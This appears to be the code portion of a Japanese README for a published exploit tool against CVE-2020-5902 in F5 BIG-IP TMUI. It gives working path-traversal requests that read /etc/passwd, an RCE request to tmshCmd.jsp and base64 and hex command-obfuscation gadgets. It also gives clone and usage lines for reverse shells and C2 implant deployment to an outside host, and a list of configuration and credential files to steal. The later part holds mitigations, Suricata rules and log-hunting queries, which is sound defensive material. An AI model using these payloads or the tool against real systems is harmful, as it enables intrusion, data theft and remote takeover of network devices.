GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

┌──────────────────────────────────────────────────────────────────┐
│  クライアントリクエスト                                            │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcatサーブレットフィルタ    │
             │  見えるパス: /tmui/login.jsp ✓ │
             │  (公開エンドポイント → 許可)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URLリゾルバ          │
             │  解決: /..;/ → /../          │
             │  最終パス: /tmui/locallb/      │
             │  workspace/fileRead.jsp ← 🔓 │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (認証チェックなし)│
             │  ルートで任意のファイルを読み取り│
             └───────────────────────────────┘

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

フェーズ 1: 偵察
  └─ TCPバナー取得（HTTP/TLSフィンガープリント）
  └─ SSL証明書分析
  └─ HTTPヘッダーフィンガープリント（Server、X-Powered-By、Set-Cookie）
  └─ /etc/f5-releaseからのBIG-IPバージョン推定

フェーズ 2: 脆弱性確認
  └─ 6種類のトラバーサルエンコーディングバリアントを反復
  └─ 既知の読み取り可能な4つのセンチネルファイルに対してテスト
  └─ 出力が既知の指標（root:x:0:0、BIG-IPなど）と一致するか確認

フェーズ 3: エクスプロイト
  ├─ ベクトルA: tmshCmd.jsp（プライマリRCE）
  │    └─ base64/hexエンコードガジェットでコマンドを難読化
  ├─ ベクトルB: fileRead.jsp + fileNameパラメータへのコマンドインジェクション
  │    └─ fileNameパラメータにOSコマンドを注入
  └─ ベクトルC: ログポイズニング（User-Agentインジェクション → access_log読み取り）

フェーズ 4: エクスプロイト後（オプション）
  ├─ インタラクティブシェル（コマンドREPL）
  ├─ リバースシェル（4種類のワンライナーを同時実行）
  ├─ LFIブルートフォース（30の機密パス、並列実行）
  └─ C2インプラント展開（Sliver / Metasploit / カスタム）

# ガジェット 1 — Base64エンコード/デコードパイプライン
bash -c {echo,aWQ=}|{base64,-d}|bash

# ガジェット 2 — Hexバイトprintf評価
eval "$(printf '\x69\x64')"

git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

# 1. 脆弱性確認のみ
python CVE-2020-5902.py 192.168.1.100

# 2. カスタムポート + 単一コマンド実行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. インタラクティブシェル
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFIブルートフォース（30の機密パスを読み取り）
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. リバースシェルコールバック
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. C2インプラントの展開（Sliverの例）
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Burp Suite経由でトラフィック検査
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

# BIG-IP: 管理アクセスを専用VLAN/IP範囲に制限
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

┌────────────────────────────────────────────────────────────────┐
│  推奨アーキテクチャ                                              │
│                                                                 │
│  インターネット ──────► ファイアウォール ──────► DMZ/本番環境   │
│                      │                                          │
│                      │  (すべての管理ポートへのトラフィックを拒否)│
│                      │                                          │
│                   ジャンプホスト ──────► BIG-IP TMUI (port 443)│
│                 (MFA + VPN)         (管理VLANのみ)             │
└────────────────────────────────────────────────────────────────┘

[ ] BIG-IPを修正バージョンにパッチ適用
[ ] TMUIがインターネットに露出していない（Shodan/Censysで確認）
[ ] 管理VLANを本番から分離
[ ] Self IPポートロックダウンを構成（Allow None または Allow Defaults）
[ ] 管理アクセスにMFAを強制
[ ] 資産管理システムにBIG-IPソフトウェアインベントリを登録
[ ] 自動脆弱性スキャン（Tenable/Qualys）にBIG-IPを含める
[ ] SIEMへのログ転送を構成（access_log、audit.log）
[ ] ネットワークセグメンテーション：侵害されたBIG-IPがドメインコントローラに到達できないようにする
[ ] インシデント対応プレイブックにネットワークデバイス侵害シナリオを含める

# パストラバーサル試行の検出（セミコロンバイパス）
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI パストラバーサル";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# エンコードされたセミコロンバリアントの検出
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI パストラバーサル（エンコード）";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

# BIG-IPアクセスログでトラバーサル試行をハント
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# 脆弱なエンドポイントへの成功したヒットを探す
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

/etc/passwd                  — 認証情報収集
/config/bigip.conf           — VPN/ルーティング設定の流出
/config/bigip.license        — ライセンスキー窃取
/config/bigip_user.conf      — ローカル管理者アカウントの列挙
/root/.bash_history          — 過去のコマンド偵察